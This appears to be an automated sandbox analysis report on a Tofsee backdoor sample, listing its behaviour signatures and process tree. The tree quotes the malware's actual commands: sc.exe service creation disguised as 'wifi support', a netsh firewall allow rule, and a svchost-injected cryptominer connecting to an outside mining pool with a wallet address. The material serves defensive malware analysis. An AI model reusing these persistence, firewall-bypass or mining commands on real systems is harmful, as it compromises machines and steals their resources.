Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    10/11/2020, 11:49

General

  • Target
    699bfaaa7bca0993fe9970da0ad333d4cd21b4340f6b6a3c9bb795f892141b14.exe
  • Size 14.8MB
  • Sample201110-ar1y8j4mce
  • SHA256 699bfaaa7bca0993fe9970da0ad333d4cd21b4340f6b6a3c9bb795f892141b14
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 19 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\699bfaaa7bca0993fe9970da0ad333d4cd21b4340f6b6a3c9bb795f892141b14.exe
    "C:\Users\Admin\AppData\Local\Temp\699bfaaa7bca0993fe9970da0ad333d4cd21b4340f6b6a3c9bb795f892141b14.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4004
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 560
      2⤵
      • Program crash
      PID:1460
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 676
      2⤵
      • Program crash
      PID:2180
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 720
      2⤵
      • Program crash
      PID:2388
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 796
      2⤵
      • Program crash
      PID:2628
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 856
      2⤵
      • Program crash
      PID:2960
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 868
      2⤵
      • Program crash
      PID:3308
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 952
      2⤵
      • Program crash
      PID:4068
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\baexqazp\
      2⤵
        PID:3392
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 764
        2⤵
        • Program crash
        PID:3572
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 512
        2⤵
        • Program crash
        PID:2844
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fwecmhoc.exe" C:\Windows\SysWOW64\baexqazp\
        2⤵
          PID:2640
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 764
          2⤵
          • Program crash
          PID:2748
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 744
          2⤵
          • Program crash
          PID:1124
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create baexqazp binPath= "C:\Windows\SysWOW64\baexqazp\fwecmhoc.exe /d\"C:\Users\Admin\AppData\Local\Temp\699bfaaa7bca0993fe9970da0ad333d4cd21b4340f6b6a3c9bb795f892141b14.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2908
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 836
            2⤵
            • Program crash
            PID:3472
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 744
            2⤵
            • Program crash
            PID:3932
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description baexqazp "wifi internet conection"
            2⤵
              PID:3940
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 1000
              2⤵
              • Program crash
              PID:1436
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 692
              2⤵
              • Program crash
              PID:2232
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start baexqazp
              2⤵
                PID:2440
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 552
                2⤵
                • Program crash
                PID:3084
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 1000
                2⤵
                • Program crash
                PID:2412
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:192
              • C:\Windows\SysWOW64\baexqazp\fwecmhoc.exe
                C:\Windows\SysWOW64\baexqazp\fwecmhoc.exe /d"C:\Users\Admin\AppData\Local\Temp\699bfaaa7bca0993fe9970da0ad333d4cd21b4340f6b6a3c9bb795f892141b14.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3136
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3136 -s 588
                  2⤵
                  • Program crash
                  PID:2572
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3600
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1448
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3136 -s 604
                  2⤵
                  • Program crash
                  PID:3464

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/1448-21-0x0000000000800000-0x00000000008F1000-memory.dmp

                    memory/3136-10-0x0000000002CE0000-0x0000000002CE1000-memory.dmp

                    memory/3136-9-0x0000000002600000-0x0000000002601000-memory.dmp

                    memory/3600-19-0x0000000009050000-0x000000000945B000-memory.dmp

                    memory/3600-11-0x0000000000520000-0x0000000000535000-memory.dmp

                    memory/3600-15-0x0000000004540000-0x000000000474F000-memory.dmp

                    memory/3600-16-0x0000000000590000-0x0000000000596000-memory.dmp

                    memory/3600-17-0x00000000005A0000-0x00000000005B0000-memory.dmp

                    memory/3600-18-0x0000000000C40000-0x0000000000C45000-memory.dmp

                    memory/3600-20-0x0000000000C50000-0x0000000000C57000-memory.dmp

                    memory/4004-0-0x0000000002646000-0x0000000002647000-memory.dmp

                    memory/4004-1-0x00000000041D0000-0x00000000041D1000-memory.dmp